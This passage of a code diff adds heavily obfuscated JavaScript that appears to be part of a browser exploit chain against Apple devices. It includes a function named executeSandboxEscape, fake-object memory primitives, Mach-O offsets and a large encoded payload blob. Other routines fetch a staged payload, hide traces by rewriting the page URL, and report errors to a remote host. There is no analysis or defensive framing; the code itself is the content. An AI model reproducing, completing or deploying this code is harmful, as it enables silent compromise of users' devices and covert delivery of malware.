}).join(""))); + Q.addEventListener(([2, 21, 21, 8, 21].map(x => { + return String.fromCharCode(x ^ 103); + }).join("")), U.error, !0), U.LA.bind(U), window.qbrdr = A => { + U.LA(atob(A)) + }, document.body.appendChild(Q), Q.setAttribute(([55, 54, 39].map(x => { + return String.fromCharCode(x ^ 68); + }).join("")), g) + } catch (A) { + U.error() + } + }, + sA() { + const A = new URL(location.href), + B = ([0].map(x => { + return String.fromCharCode(x ^ 118) + }).join("")) + ((new Date).getTime()); + A.searchParams.set(B, "0"), window.history.replaceState(null, null, A); + const Q = () => U.BA((761615992 ^ 761615895), (1733964879 ^ 1733965736)), + D = document.createElement(([51, 62, 33].map(x => { + return String.fromCharCode(x ^ 87); + }).join(""))); + D.setAttribute(([53, 50, 63, 42, 35].map(x => { + return String.fromCharCode(x ^ 70); + }).join("")), ([61, 34, 51, 49, 59, 38, 43, 104, 114, 98, 124, 98].map(x => { + return String.fromCharCode(x ^ 82); + }).join(""))), D.innerHTML = (Q()) + ([90].map(x => { + return String.fromCharCode(x ^ 119) + }).join("")) + (Q()) + ([104].map(x => { + return String.fromCharCode(x ^ 69) + }).join("")) + (Q()), document.body.appendChild(D), setTimeout((() => { + const A = new URL(location.href); + A.searchParams.delete(B), window.history.replaceState(null, null, A), document.body.removeChild(D) + }), (2037727825 ^ 2037736769)), g[0] = IA + }, + wA() { + if (g[0] === wA) { + g[0] = QA; + const A = new Uint8Array(B.buffer, sA, kA); + let Q = ""; + for (let B = 0; A[B] && B < A.length; B++) Q += String.fromCharCode(A[B]); + Q += ([72, 12, 21].map(x => { + return String.fromCharCode(x ^ 102); + }).join("")), Q.endsWith(([120, 59, 63, 56, 120, 60, 37, 120, 60, 37].map(x => { + return String.fromCharCode(x ^ 86); + }).join(""))) && (Q = Q.replace(new RegExp(([126, 61, 57, 62, 126, 58, 35, 126, 58, 35, 116].map(x => { + return String.fromCharCode(x ^ 80); + }).join(""))), ([118, 50, 43].map(x => { + return String.fromCharCode(x ^ 88); + }).join("")))), U.download(Q, U.UA, U.error) + } else if (g[0] === UA) { + g[0] = QA; + const A = new Uint8Array(B.buffer, sA, kA); + let Q = ""; + for (let B = 0; A[B] && B < A.length; B++) Q += String.fromCharCode(A[B]); + const D = new Uint8Array(B.buffer, FA, SA); + let M = ""; + for (let A = 0; D[A] && A < D.length; A++) M += String.fromCharCode(D[A]); + U.TA(Q, M, U.NA, U.EA) + } else g[0] === TA && U.sA(); + g[0] !== EA && setTimeout(U.wA, 1) + }, + LA(A) { + const Q = A; + if (Q.length > B.length - 8) U.error(); + else { + for (let A = 0; A < Q.length; A++) B[A + 8] = Q.charCodeAt(A); + g[1] = Q.length, g[0] = BA + } + }, + error() { + g[0] = NA, + function(A) { + const B = platformModule.platformState.fixedMachOVal3; + if ("" !== B) { + const g = utilityModule.resolveUrl(B); + if (g) { + const B = new XMLHttpRequest, + Q = g + ([69, 31, 71].map(x => { + return String.fromCharCode(x ^ 122); + }).join("")) + A; + B.open(([113, 115, 98].map(x => { + return String.fromCharCode(x ^ 54); + }).join("")), Q, !0), B.send() + } + } + }(DA) + } + }; + return U +} + +function executeSandboxEscape() { + const A = YA(); + let B; + if (platformModule.On()) throw new Error("platformModule.On()"); + return B = (() => { + const B = new oA(platformModule.platformState.fixedMachOVal1, platformModule.platformState.fixedMachOVal2, platformModule.platformState.fixedMachOVal3); + let g = (B.length() + (1160857433 ^ 1160861529) & (4294967296 + (944795501 ^ -944791699))) >>> 0; + const Q = g + (1733904196 ^ 1736001348), + D = platformModule.platformState.sandboxEscape.newInt64OfSomething(Q).toPointerValue(); + B.kA = Offset64.fromUnsigned(A.CA), B.FA(Offset64.fromUnsigned(D)); + const M = Offset64.fromUnsigned(D); + let w = B.SA(M); + for (; w.length % 16 != 0;) w += "\0"; + g = 2 * w.length; + const C = window.PhZuiP = new Uint32Array(new ArrayBuffer(g)); + for (let A = 0; A < g; A += 4) C[A / 4] = utilityModule.readU16FromString(w, A) >>> 0; + const I = utilityModule.Int64.fromNumber(D), + E = (utilityModule.Int64.fromNumber(platformModule.platformState.exploitPrimitive.fakeobj(C)), g); + platformModule.platformState.sandboxEscape.Ad(I, C, E); + const U = B.YA().ct() + 4; + return platformModule.platformState.caller.jd(utilityModule.Int64.fromNumber(U)).Pt() + })(), A.start(), B +} +class oA { + constructor(A, B, g) { + const Q = new Offset64(0, 0); + this.yA = CA(Q, Q, Q, Q, 0, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q), this.oA = gA.lzwDecompress(gA.base64DecodeUtf16("zwD6AO0A/gAMAAAAAAABAAUBBQEGAAgBFQAIARAACgAFAYUAAAAQAAgBBQEZAAgBaAADAAUBXwBfAFQARQBYAFQAFAEhASIBFAHAACMBJgElASEBBQAIASoBBQEPASIBGwF0AGUAeAB0ACYBGgEcAR4BIAE1AewAXAAiAbwAUwAiATsBBQECADUBCAEEAAAAgABEATYBeABJATYBHQEfAUQBqACwACIB2AAHASEBUQFCAUwBRgFIAUkBGwFzAHQAdQBiAHMANQEbAU4BOQEmAYAAsgAiAUQARgEhAWgBWAFEAQgAWgEUAQQBLwFfAF4BYAFfAGgAZQBsAHAAZQByAAgBZAE4AUQBxAC2ACIBXABsARQBhAFvAUQBcgFcAV8AbwBiAGoAYwB2AV8BYQEUAYEBTwE1ASAAuwAiAUAAIwGbAQUBLAGMAUcBTAEbAWMAbwBuAF4BYwE3AZkBJgFgAJwBIQEwACMBrwEFAYgBTAGlAV8AYwBeAXIAaQBuAGcAIwGYAWYBIwGQALABiQFDASEBxAG3AQAAxwG3ARsBkAGSAV8AbQBlAHQAaABuAGEA0gEAAMEBRAFUAL4AIgE+ACMB3AEFAVUBNQHMAbgBdQBuAHcAvQFkAF8AvQFmAG8AgAGsAcIBIgGUAN0BIQEYAOMBCAH0AYsBygFEARsBZQBoAF8AZgByANcBZQB1AWUBRAGwAL8AIgE0ACMBCQIFARkB/AFJARYBBQE4AFUBGwFEAEEAVABBAF8AQwBPAE4AUwDyASgBIQGeASIBIgIUASQCFAEQAgAAKgIqAhMBNgFnAG8ANAH9AV8AGAIaAhwCHgIgAiEBJgIFAZAAJwEPAkkBCgEFAVsAjgGnAakBMgLAATQCGQIbAh0CHwLCAZAAOwIAALIBIgFPAj8CEQIzAs8BkwFpAG0AYQBnAGUA7QFvABcCSgI3Ak0CJAFQAggAIwHAACgB5QFWAiIBEwIAAFQBNgE1AkEATAH4AQUBKAIhAXUCAAB3AlUCKwIrAUgCbABhAHYBeQBtAGIAbwBsAF8AcAB0AH8BYQIaAnQCIQHYAGsCCAEHASoCJgEHAAgBbQCOAVgCdgF7AXIAZQBmAGIB2QFJAo0CNQGQAnUCLgKPAgIAkwJJASwBpwKrAZoCYwCAAnMAcwCdAp8CjAJzAjUB6ACpAiEBZwIiAbkCqgK3Aa0CJgEbAb0BMQFyANYBbAB1AXICRAHwALoCTAHMAnkCbAIhARsBZABhAHQAYQAzAsoCNQHPArsCIwHbApQC0QIUAW4CSADwAUwASQBOAEsARQBEAEkA8gF2AnUC8AAcACMBQADuAvACeAKSAkkBDQAIASAACAEYAPYCFAHjAQcBeAAwADEAIQEiAAUBgABSAu0CEgENAfICEgGRAhQBIABCAAcBYAC8AoAASgAHAfwCiwEYAxIBSwAHAXAACAEwAFUABwHAAJYCAAALAAgBUAAjAf8C/QLLAQgBbgDgAiMBEABSAAcByADRAhsA+wIIAUEA0wCeACAABACjADUA9ACsABMA9gBpASYAAwCGADIA+QIIAWsC+AIFAfgC4wGUAgEANAADACoADQFJASwANwMIASgCWwEmAXQBAAA4AFgDLAP+AvYCLwB1ALMCLwBsAGkAYgBnA2kDpwFtAHAAnQKyAmkAqAEuAGQAeQBoA2IACAFdA18DBQEaA2sC5ABjA2UDcgBrA2oDdwNYAi4AQQB0A3YDaQNcAycDYANrAkEAGAMHAS8AUwB5AF4BZQBtAC8ATABpAwMCcgB5AC8ARgADAtIBdwBvAHIAawBzAC8AVQBJAEsAaQB0AC4AAgIEAqMDpQOoA6oDrAOMAwUBYACOAxQB/wChACQDlgAAAJMDlQMxAZgDmgNiAJwDngOgA7ADpAOmAy8AQwCkA2UARgBvAOcB1AJ0AHIDbgCuA6EDZQCxA2sAzAPOA9AD0gPVAtUDIgFdA2gAuQMPAjwA2QBsAZIDlAOWA8MDmwNhAJ0DnwPYA9oDpwPrA8IDzQNuAGYAaQBnAHUAAwLUA3MDrwOiA8oDwAPsA/cD+QP7A/0D4QN5AwgBWADlAwAAZwJ6ACwB6gPBA5cDmQPuA/ADyAMBBKUDpwNDAEYATgDTAdoD1wPJA7IDHAQeBHQA2gO2A14DDQQFAScAEQS/A4EDgwODA/UDlwMuAEIAiQN3AyIBJgBVAwUBmAAWAwAASwEFASkAOgQbA9ACLwNFBEYERwRIBEkESgRLBEwETQROBE8EUARRBFIEUwRUBFUEVgRXBFgEWQRaBFsEXARdBF4EXwRgBGEEYgRjBGQEZQRmBGcEaARpBGoEawRsBG0EbgRvBHAEcQRyBHMEdAR1BHYEdwR4BHkEegR7BHwEfQR+BH8EgASBBIIEgwSEBIUEhgSHBIgEiQSKBIsEjASNBI4EjwSQBJEEkgSTBJQElQSWBJcEmASZBJoEmwScBJ0EngSfBKAEoQSiBKMEpASlBKYEpwSoBKkEqgSrBKwErQSuBK8EsASxBLIEswS0BLUEtgS3BLgEuQS6BLsEvAS9BL4EvwTABMEEwgTDBMQExQTGBMcEyATJBMoEywTMBM0EzgTPBNAE0QTSBNME1ATVBNYE1wTYBNkE2gTbBNwE3QTeBN8E4AThBOIE4wTkBOUE5gTnBOgE6QTqBOsE7ATtBO4E7wTwBPEE8gTzBPQE9QT2BPcE+AT5BPoE+wT8BP0EcgT9AHsAvwCpAP0AGQGRALMAlgKUAB8ABQFxAOAABwCfABoAAAXBAKgA6gADAB4AqgD+APMAAQCyAP8AIAADANUA6wAZBbIAfwABAB4A6wD+AAMACgCqALcCVADAAAMAXwDWABQFFgX1ABQAAACUAAAFAgUnBQAAqgAcBR4F4AAVBaoAEQUTBT8FGAUaBTwFHwUhBSMFJQUnBSkFKwUtBS8FMQWqAOYANAWUAPQATwC+AAMFewABAAMFQwAAAJEA9AADAAEAqgDzABkBqgCRAAgFoAAFATQAPgUTAKoA4QADABQAqgCFAAgFYwU6BWsFQAV7AEEAqQBVBcIAQgUWBUQFGwUdBUcFGgVJBSYFKAUqBQUBLAUuBTAFPwXOAFMF+gBnALsAqQD4AF8AWgX2AFcAAgB6BU8AAwBYBQQAAwVgBZEAgQAFAbQAYwUCAKoAXwVhBYIABQE1ABMAkABAALkAUwBDATQAFABEAEAA+QAXAEcBUgC4AAAAoABSAOgAAwBsBRkAQQBBAHEAFQAxAJgAGgCWAEIANwCLAD4FFgBtBQMAFQCqAAkAFgA1Bc0FzwXRBdMFNQX3AEIAQQARAL4FGQCqAH8AAgAXAGsAiAD+AP8AVAAABUQAmQVDAKkAlgVCAJIFXwB5BY8FxQB9BRcFIQVGBSAFgwUkBYUFTAWIBU4FiwUWBaIAUwVVBVcFAAVaBf0AXAWRAHQF0gW0BfkACACtBbkACgCcALUFKQABAAgAiwArABEAAADRAJQFAADxAGoAAQCKAJoASwD9AN8AiAAjBQAAcQDsABcADwVtAAEAAQALAKwACQAMAAsAnwAXBmsASABGAVQATQD9AF8AiAC/ADEGawChBQAAVABMAP0ADQCIAI0A/wD/ADUAEAIUAF8APwAeBfIATAYXACAAQQAsAMsAYAA5BPkAYQBSAAAAuQAhAHwAQACSAF8ADAGUAGgAkgC1BTQDAAC0AGEAJgC1BWIAUgCuBXYFFAUIAKoAfABTBQYDUgAABXkFewX2BX8F+QVIBfwFSwWHBUUGAAZQBW8AUwW4A5gAUgDzAFUGCQBQAK4FPwAwBusAeANFBmcCgADSAEECFAAIACQAtQUKADAGiwAKACQAAAD5ABYGAQBLAJEGYAY+BXcGUAWBBoEF+gUiBYQGhgVNBYoFUAVYAFMFMAZtBuIAogU3BZ4FXQU+BWEFbgWlBS0AZwZBBXsGrwb4BbEGgwZKBbUG/wW3Bj8FRQBTBf8AwwACANEAkwUHAO4FVwAIAJkFCQBYBQoAAwWDAAIAXgUDAAMAqgD1AGAFYgVkBf8AEwCmBqgAuAXoAH8AAwApAOAABwG0AGgArgBXADkAqAAHATQAaAD6AEIA+QBoAPcGQQSaAFIASQABAKAAcgAhAH0AQAARAMkAgQCJAFIAiQBhAK4AcgAjABEAHAAyAHYFQwGaBnYGqgAqAFMFaAAiALUF4gCDAF0F4wBiAZEAdgVuBdEFIAcjAFMFLQUAADQA6QY6BfkG+wYEBzQHAAcCBygA9wYRBxMHFQcXByMAnQAHABEALQfQBaoAHgfSACAHFQBTBT4F0QUABUoAmQVJANsGSADxBUcAqQDVBuQGygZFBcwG+wXOBv4FhwbRBhYFBQBTBeEAEwC1BYEAQwG0AOIAHwCuBV8ABAFxACkAQwFUAGAATgC1BSQCtAAhAO4GlADgACgHkQDhACsHxwBnAmgG+gY5AMAAsQU2B6oASAD8AP8A/wYBBw8Gjge0AEAHFAcWBxgHNQBGB9cAVQY1AAAABwchAwsHOAc5AAgA+wCPBzwH+QDIAPoA/wCUBxIHlgdDB30ARgd2BSEAngdSAEEACgdyAMwAVQaIAP4GpwdIAD8HrQdCBxgHJQCxB78FhwWNBoEAtwdLByAH1wB9B/8AJgP5AP8ADwBgBmgAdgAmB2kH+QDjAG8HuQAtB7sFUgAgB84AfQcMAzUHZAWiB8gA9gCmB5EHiADnB6wHQQeXByMA5QAGABEAqwBVBuIACgbjADMAwQbFB+EA3QeGABMBlADiB4sHogfoAPQA6AcCB6gABAjsB64HGAexAAAAEQCcAFUG1wCtB5cAlwfoAAsAtQVoADYApgboAA8ArgVoAH8BuQCiBzoHkAc9B/cGSQAAAI0GiQC3ByEABwEyAOMAQgANCB0HRwFMBwMAdwajAH0HaAAKADkHqgVoAA4A+waIAJYC/wamADoIOweiAD4IRgE0ACgAuAVoABIAFwA5ACEIvAeRBz4HbQYmCCgIKggJAA0I4wBiAAMARwfFB8oHNAiqAI0ANwh+ALUFdgUwBrwFIAeIAH0HiwcgAAcBNQBoAIYAtQWiAOMAHAZlCAoH3gdfCIAAaghkBcAACgH/BocHCADtAAUIqAfsAKsH4wBWAFsIXwBVBvAGgABSAKgAQwAcALgA/wB/AAUAWgdjAGAGvwCDABwA+AAfAIEFiADpAAIADAQBAK4F9QcBAJEAowDzABwGIQACAIwIyQBTBYAAQAgMAQEAMgCiB4gA6gCCCEgAtgi0AOMAigBbCEsAVQacCB4FqADnAKAIBgGjCEMApQjjAJYIkQCqCIwIugBPBwoBNQD2ACsAtQW2AAoBtADIABYAtQUIAPkAfwDyABMDRQbACNUAiQDmAKAIFga1BZQGCADqAMAAHgBFBqIHSADsCCMIDwbsCLoIngABABEA1QAAAIoAUgB2BcEA+QhSADIAVQa1AIMAXAD4APUAKgH4BmoGqAeiBaEALgBxCKoAdAbFByAHQAA3CB4AcQa8AAIAEADhCKMAcwjRAEgHLwdfCDgAegg6BYAADwF+CPsGCADkAIIIyADjAIUIMgBbCBcAVQboANMIDwYZAbQACQAVALUFNgDcCPIAoAD4AlQAyAACALUFqACZCPgAaAAMAbUAnQeCAFIAvQBVBu4IUAgCBwgA9wb1AP4I3Af6CEsHwwCtB4MAlwcFAFUGUwn6CFwJ/wAXAJUA/giaAF0J/gisAFUG4QAjAKUIdgW5AIUHiwdgAEMBNQDgACcAcQgcCQcBjAjDAG8JZAUMA3MJdQn5AKEAAwn4AKIAAQCMCBkBmgbWAHsJdQV/CYEJBAnvAIUH4QB/CXYFCQBXCGgGAACOAFIAvwACAAgAawAgAIQIVAAVAAwBNQAVACAAvAUGA9IAAQClCVIAvQaMCFwFgwBSACoBmgZaARIA+wB9B1EJ+ggfAEYBsQAwBg8FQAA0BVQAfwCeAKYGYABGAKYGdQCSAGAGfwBfBrkAAAB/A08AYAB2AIEAPQDYCNoIogiSAFEJOgXYCKYGvghhCQIJBAm1ABsG+AaHByIIpwdSCLQAVAgUByoI+AIRAOMA6gACAFwIbAVeCHcG1QASANUFEQlJB9IA9QmUAPYA5AeHB1II8QjoAKIF4wDaAO8JSAfOBfIJqgDHAPoJaACCAGQIxQdmCHcIdwbCAPoJDAGMCJYAQwG5AKsA5wUXAL4FpgaSCJ0F/wAKBdAHNwDTB4oAJgdzCJEA4wDTAPkHbAWhAN0HIAe0APoJIAAqATUASQgHB74HCwcBAHUAQABRAOIAawksB8UH0gAIBUAARgF+CSYHnwV4CVIAXwCFB6AAGQE1AGEJpgbhCOgAzwCgCFEJrgUyCWAGbgXrBeMAowBdBVoIjAhDAbgAxgKFB0AAcgnoALsAQABOCGkF6AC3AGkKUgg1CiAAjAjoANMAAgB4AFoKqQBcCl4KAwBgCgAAqAByAGIAhQcoATUAdwqECYYJMghdAGQKVwjjBzoF1AWaBpEJtQUrCG0G6AAjAEIJogXCBs8FdwZwAJAJkgnFB4oAhQe1AOIATQbhCKgAywBVCqIIqAebCcwF9wl3BncA+glDCQQJCQABAEQAkQBpAMUJ+QAJAB4AvAVpAMgJuQDpAFcAHgAyALEKCQCLAGkAwgn5AHYA7gkDB+4AAgDcCMsJSAC5AP8AGQmBBWgAvgP5AEAG0QrhCGgA1AWoB8EA2ArTCloApgZJCIwIaAAeAE0IaACKAAsAeQDHABsK+Aj6CEkAGwrBCaYGaAC2CggAqglpBskJywnNCQAAzwnRCT0AvQAbCrUA/ggeAE0JhweoAMcAgghoAAcLugjWAPYINAAbCqIH2AnxCGwGughSAAUKXQgyCCAHRAAUCiIGUgAuABsKpwmpCbwFeAOtCQAArwmzCbEJ0gBEAH0H/Ak6BbkJAACxAE0K4AiBBSgAwgDECKIIuQChABwJAgCqCSMAuAWXAH0HcQkAADUArwr4AEAJUQqBBagAwQCmCrUFiQcYBuEAbwf5AOIANwCuBSoAfQfhCAgAiQehCK4FbgUHCqoJhwlSAH8DjAhpCDUFbAg0B7EIMgCUAFUG8QD6CWcCrgUfAAcBcQAIAFUAiABaABUAAQACADIAjgBpCQMA6wXCAAQAhgqaBuMACAWLBx8GTQa+BbUFNwkVBtYJFgbOBTcJpgaCAFUGlgW9AJkFCAZ7AJgF/QCAB/8AQwAQANEANQABAJ8HtwcgANYIDAZ/ACYDfgc0CnYFQgAKAZQAgACoC8UHgwAZAZQAMwpCC3YFZgCBCkUKaABqAIgLMgC/ANIA6QDfAN4A8gDpAI4H8gBRCcMKtAAKAVEAaQAyCAkAyAC/APIAyQAhAMEAwgsBAOAA8gA+BXAFbwsJAOsAKAAZAVQAaABFCPwGKgE0AGwImAmeAaEHwgBuC7IKcQBDAHUHKQCAAIwICQACAAsH2gtrAIMAOwZoAOIArgVJAHYAkQBSAAkAawCjAHIA9QvsAHUHSQC9AJ0AUgCpAOwAsAADDAEAAAxgAN4LqQAHAJsAUgC1CrsAcgDUBQAAFACgAAUDUQCaCxAAkQAABfAFVQV5BZYFwwCABssGHgWyBoQFhQa2Bk8FPwXDABsGlABJAJoAjAipAMQAfgr1C2gFRQZpAP0L/wsBDA4MAAxhAP0A6AXiCr0FPQs5AOAAPQuRAPcABwGUAJMKaQqpAC4DEQBvCyoGPgcPBakADwFVDAsFBgGJABoA4AClB24I6Qu9Cl8AjAh0BwsH2AuqAPULKAClB1QAHwCBAEMAcQDjBpgGhQm9BZYC+QCYCB0A+AAgAIkAAgBwAOEIoQBdCtEAPgpdBYcJ0gBaAdIA9wD6CR0KqgCpAIMAXQD4AKoAVAwrAP0AVADTACkG8QDgABMAigAaAOQDQguUBkQA8QD3C5gG8AuNCIMAewxLDF0FhQmMCGsA+gkAAIcAAgBQAOEIagldBaIAgwyHDIkM4gD6CeAAqgVRDPwGaQVwDCoGYQAPAVQA6AB1CTkAKAAPAWMMbgvBAHIM6AAHAVQARwwVCGAGeAD6CbcMHAbjAEwMYQB2DG4AjAxkBY8MXQC4AJMMDQiUBioGPgWdDOMCQgsAAAQIcwnFB9UAKgGUAKAAjwadB8kArQyvDJYCtABfBToFbgXxCfYMFgz6CYAAQgC1BVsBtACcAK8M1ggCDaYGkwB4B/kAqAhtBgAAfwtSAF0A+glAAAcJYAAGAEAArQARDQAArQCAAE4ApgaAAD4ABA2iBY8A+glgAEYBtAAiDSENcwb5AAUNigD6CTMHKg1fBi4NVgAkDW0GhQAyCjUJgABWAKYGnQcHB50HaQxMDFsAJw1yCaoMkQBzAowIWgD6CaAAbQhlChIB4QhKAI4HlwB4CdIAVAAzDOIAZAWgAIMMtQwpCm8FqgBSAPoJCgUqBvUABwCVAGAMTAxFALwMSQdhAFUGoABUDIkIYQn/AOYG0QCPBdoGkwXdBpYF3wZVBeEGAAULAAMF1gYLBmQFNACfC1IAVAC3B4gAOQRRAKgAwwAbALgACACEAEEAeQAfADkAKgZGC1QAGwBTDYAAsQUgADYD0goeBVUNNQBTDeAAIgrhCAAAdgACAFwAqgz9AOEAKAriAGMApQhgAHYMPAC8DNIHNADmADMMbQu5AFYMcQtzC1oAFAB3C7MIBQEUABYBjAj2ACgK/wDbAJsF4QggAHQAqQ10CQAA/QDhCMgAmACgCBoApwr6ACsARwseBUAArwAEAFgACgC8DA8BtACLB1IKlwCgCOgAeAzhCIAAcgDPDSYD/QDoAAQBnw3VAAkAmwAYCVIKpwBaBeAA2wCYBesApQeXAEQKNAeTCl0FFgBzApEAKQBcAO0AqAkPDGsMgQWgAJUAoAgdADMMDQWmBuAAHAj5AFwLqgD7AP4HFg6mBvcA1wfnDW0G+AAZDfkAPgUYAKoA3QAzDHwIbQYsC88FFwCqAFkNJw7bADMMXwXOBYAADgBBAPgAbgVwBewA/gebDaYGNQ6qAIAAjgA5DjsOqgDnAD4OQwH5APYA7gZRC0wMUAeqAFMAfQdRDPkAAAD4Al0GAw35ALYHbQY2CAEAHQnFB38AUw2MDVsAuABjDXEAwA2AABoAVA4CAA0AtQVPBlkNOgU0BYwIXwAAABoA6wA8DFQAUA5IAFMOlAr5ABoAVw6ZAP4G4QCwDZEAsg18CpoG2gATDmkFhAC5DXoCuw1wC3ILdAvADXgLTwZoALIA+wa5ArQLKAowBowIdwATDl8NAAVLAJkFUweWBVUHkwVXB48FWQdzDQMAkQBdB4AFKwzNBv0FhgaJBTAMFgWTAP4HlQ1iC1UGewZ9ADQOVgVYBQgGCgYMBhIBFwjZCA8GBQC1BWwOtQUXAFYLgQXoAIgASwv5AGkAxg4pAMgO+QAoAFcOfQaZBXwFrg6CBmAHsg4vDAEGqgB0AP4HBQbADlsFXQVjBWEF+wyqAKQBywgQAHEGuAU7ADMMgACiAF0FYQDGDqkCjAg3ADMM2g5/Bt0OXwezBmEHsw6IBj8FWwDlDr8OBwboDoINOgUbDLUF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